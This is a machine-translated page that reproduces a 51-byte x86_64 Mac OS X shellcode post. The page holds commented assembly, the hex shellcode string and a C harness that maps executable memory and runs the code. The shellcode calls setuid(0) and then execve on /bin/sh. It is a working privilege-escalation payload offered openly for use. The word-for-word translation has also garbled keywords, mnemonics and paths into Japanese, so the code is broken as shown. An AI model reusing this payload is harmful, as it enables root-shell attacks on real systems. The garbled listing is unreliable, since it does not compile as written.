このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* * 肩書を与える: OSX/Intel - setuid 爆撃する x86_64 - 51 bytes * Date: 2010-11-25 * 実験(する)d on: Mac OS X 10.6.5 - Darwin Kernel 見解/翻訳/版 10.5.0 * Author: Dustin Schultz - twitter: @thexploit * * http://thexploit.com * * BITS 64 * * section .text * 全世界の start * * start: * a: * mov r8b, 0x02 ; Unix class system calls = 2 * shl r8, 24 ; 転換 left 24 to the upper order bits * or r8, 0x17 ; setuid = 23, or with class = 0x2000017 * xor edi, edi ; 無 out edi * mov rax, r8 ; syscall number in rax * syscall ; invoke kernel * jmp short c ; jump to c * b: * pop rdi ; pop ret addr which = addr of /貯蔵所/sh * 追加する r8, 0x24 ; execve = 59, 0x24+r8=0x200003b * mov rax, r8 ; syscall number in rax * xor rdx, rdx ; 無 out rdx * 押し進める rdx ; null 終結させる rdi, 押し進めるd backwards * 押し進める rdi ; 押し進める rdi = pointer to /貯蔵所/sh * mov rsi, rsp ; pointer to null 終結させるd /貯蔵所/sh string * syscall ; invoke the kernel * c: * call b ; call b, 押し進める ret of /貯蔵所/sh * db '/貯蔵所//sh' ; /貯蔵所/sh string */ #含む <stdio.h> #含む <sys/mman.h> #含む <string.h> #含む <stdlib.h> int (*sc)(); char shellcode[] = "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0" "\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52" "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x2f\x73\x68"; int main(int argc, char **argv) { 無効の *ptr = mmap(0, 0x33, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); 出口(-1); } memcpy(ptr, shellcode, sizeof(shellcode)); sc = ptr; sc(); return 0; }